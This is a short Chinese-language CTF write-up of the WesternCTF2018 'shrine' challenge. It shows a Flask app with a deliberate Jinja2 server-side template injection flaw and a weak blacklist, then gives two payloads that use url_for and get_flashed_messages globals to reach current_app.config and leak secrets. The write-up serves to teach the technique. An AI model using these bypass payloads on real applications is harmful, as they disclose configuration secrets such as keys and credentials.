[WesternCTF2018]shrine

import flask
import os
 
app = flask.Flask(__name__)
 
app.config['FLAG'] = os.environ.pop('FLAG')
 
@app.route('/')
def index():
    return open(__file__).read()
 
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
 
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
 
    return flask.render_template_string(safe_jinja(shrine))
 
if __name__ == '__main__':
    app.run(debug=True)

 

首先看到
app.config['FLAG'] = os.environ.pop('FLAG')
那么这个web应用的config应该就包含着FLAG变量,而这个变量里就存在着我们需要的flag,需要去查看应用的config
render_template_string(safe_jinja(shrine)),这段代码可以看到直接把shrine路径后面的字符串传入,造成了SSTI
但是这个地方过滤掉了config、self和(、)无法直接获得config,不然输入{{config}}或者{{self.__dict__}}就可以得到config
 
这时我们需要读取一些全局变量,利用python对象之间的引用关系来调用被禁用的函数
这里有两个包含了如current_app的函数,url_for和get_flashed_messages来获取当前app的config
 
payload1:
{{url_for.__globals__['current_app'].config}}
payload2:
{{get_flashed_messages.__globals__['current_app'].config}}
 
posted @ 2021-01-24 21:55  1jzz  阅读(165)  评论(0编辑  收藏  举报